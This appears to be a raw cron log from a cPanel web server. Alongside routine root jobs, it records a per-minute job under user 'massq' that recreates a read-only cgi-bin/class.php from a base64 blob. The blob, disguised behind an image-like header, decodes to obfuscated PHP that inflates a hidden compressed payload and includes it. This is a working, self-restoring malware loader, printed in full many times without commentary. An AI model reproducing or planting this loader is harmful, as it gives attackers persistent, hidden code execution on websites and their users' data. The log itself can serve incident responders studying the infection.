Sep  5 18:58:01 server CROND[2475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:58:01 server CROND[2476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:59:01 server CROND[2986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:59:01 server CROND[2985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:59:01 server CROND[2987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:00:01 server CROND[3368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:00:01 server CROND[3370]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 19:00:01 server CROND[3373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 19:00:01 server CROND[3376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:00:01 server CROND[3375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:00:01 server CROND[3379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:00:01 server CROND[3381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:00:01 server CROND[3374]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 19:00:01 server CROND[3378]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 19:01:01 server CROND[4266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:01:01 server CROND[4267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:01:01 server CROND[4269]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 19:01:01 server CROND[4268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:01:01 server run-parts(/etc/cron.hourly)[4269]: starting 0anacron
Sep  5 19:01:01 server run-parts(/etc/cron.hourly)[4289]: finished 0anacron
Sep  5 19:02:01 server CROND[4656]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:02:01 server CROND[4657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:02:01 server CROND[4658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:03:01 server CROND[5039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:03:01 server CROND[5040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:03:01 server CROND[5047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:04:01 server CROND[5406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:04:01 server CROND[5405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:04:01 server CROND[5407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:05:01 server CROND[5886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:05:01 server CROND[5887]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 19:05:01 server CROND[5888]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 19:05:01 server CROND[5901]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 19:05:01 server CROND[5902]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 19:05:01 server CROND[5905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 19:05:01 server CROND[5903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:05:01 server CROND[5904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:06:01 server CROND[6749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:06:01 server CROND[6750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:06:01 server CROND[6751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:07:01 server CROND[7165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:07:01 server CROND[7166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:07:01 server CROND[7167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:08:01 server CROND[7559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:08:01 server CROND[7560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:08:01 server CROND[7561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:09:01 server CROND[7975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 19:09:01 server CROND[7977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 19:09:01 server CROND[7976]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 19:09:01 server CROND[7978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 19:10:01 server CROND[8364]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 19:10:01 server CROND[8365]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
